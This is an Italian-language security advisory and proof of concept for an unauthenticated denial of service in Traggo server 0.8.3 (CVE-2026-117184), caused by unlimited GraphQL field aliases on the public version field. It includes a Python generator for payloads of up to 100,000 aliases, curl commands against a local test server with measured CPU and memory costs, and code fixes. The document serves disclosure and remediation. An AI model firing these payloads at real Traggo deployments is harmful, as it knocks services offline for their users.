
Proof-of-concept e analisi tecnica per CVE-2026-117184, una denegazione di servizio non autenticata tramite sovraccarico di alias GraphQL in Traggo 0.8.3, con generatore di payload e indicazioni per la correzione.
Traggo server v0.8.3 è vulnerabile a un Denial of Service (DoS) non autenticato. L'endpoint GraphQL accetta un numero illimitato di campi con alias e non ha alcun limite alla dimensione del corpo della richiesta. Poiché il campo version è privo della direttiva @hasRole, la vulnerabilità può essere attivata senza effettuare l'accesso.
Un documento appositamente costruito con molti alias (ad es. {v0:version{name} v1:version{name} ...}) costringe il server a impiegare molto tempo per risolvere i campi e ad allocare memoria in eccesso. Una singola richiesta con 100.000 alias (un payload di 2,0 MB) occupa un core CPU per oltre 100 secondi e consuma quasi 1 GB di RAM. Richieste parallele possono facilmente spingere il processo in condizione di OOM (Out of Memory).
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-117184 |
| Record ufficiale | cve.org/CVERecord?id=CVE-2026-117184 |
| Versione affetta | Traggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Tipo di vulnerabilità | CWE-400: Consumo incontrollato di risorse (DoS) |
| Vettore di attacco | Rete |
| Privilegi richiesti | Nessuno (non autenticato) |
| Componente affetta | Endpoint GraphQL /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Segnalazione originale | traggo/server#253 |
| Percorso del file | Descrizione |
|---|---|
graphql/handler.go | Configurazione dell'handler priva di limite di complessità e di limite alla dimensione del corpo. |
schema.graphql | Il campo version è privo della direttiva di autenticazione. |
auth/hasrole.go | Implementazione della direttiva (ignorata per version). |
graphql/resolver.go | Il resolver version viene invocato per ogni alias. |
logger/gql.go | La query grezza viene registrata nei log in caso di errori, amplificando l'impatto della dimensione del corpo. |
graphql/handler.go:13-27 — handler.ComplexityLimit(...) non viene mai passato. Il corpo della richiesta giunge direttamente a gqlHandler.ServeHTTP senza http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version non autenticatoschema.graphql:62 — Mentre gli altri campi hanno @hasRole(role: USER), il campo version non lo ha, rendendolo raggiungibile senza un header Authorization.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Ogni alias nel selection set invoca il resolver separatamente, moltiplicando l'utilizzo di CPU e memoria.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 abilita il limite di complessità solo quando l'applicazione lo imposta esplicitamente (handler/handler.go:59-67). Poiché Traggo non lo fa, cfg.complexityLimit è 0 e non viene aggiunta alcuna estensione.
logger/gql.go:27-36 — Anche se la query fallisce, viene registrata la query grezza. Un payload da 20 MB genera una voce di log da 20 MB per ogni richiesta.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Testato sulla v0.8.3, compilata dal sorgente con go build (Go 1.24.4, SQLite, 4 core, 7.7 GB di RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(Il file da 100k è di 2.088.904 byte).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Alias | Dimensione richiesta | Tempo | Note |
|---|---|---|---|
| 5.000 | 99 KB | 0,15 s | |
| 20.000 | 409 KB | 2,37 s | |
| 50.000 | 1,0 MB | 24,47 s | 100% di un core |
| 100.000 | 2,0 MB | 102,56 s | RSS 962 MB |
Tre richieste da 50k in parallelo hanno mostrato un utilizzo CPU del 291-299% su una macchina a 4 core. Il server non va in crash immediatamente, ma le query piccole rimangono reattive (circa 1 ms) mentre quelle grandi sono in esecuzione. Il problema principale è il pinning della CPU e un potenziale OOM.
Applicare i limiti in graphql/handler.go:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Nota: con ComplexityLimit(1000), la query con 50k alias fallisce in 0,17s con un errore: operation has complexity 100000, which exceeds the limit of 1000.
versionSe version non deve essere pubblico, aggiungi @hasRole(role: USER) a schema.graphql:
version: Version! @hasRole(role: USER)
| Componente | Versione |
|---|---|
| Traggo Server | v0.8.3 (commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Database | SQLite |
| OS | Linux (4 core, 7.7 GB RAM) |
| Data | Evento |
|---|---|
| 2026-10-22 | Issue #253 segnalata al repository del server Traggo |
| 2026-10-30 | Record CVE ufficiale pubblicato su cve.org |
| — | In attesa della risposta del maintainer sulla correzione |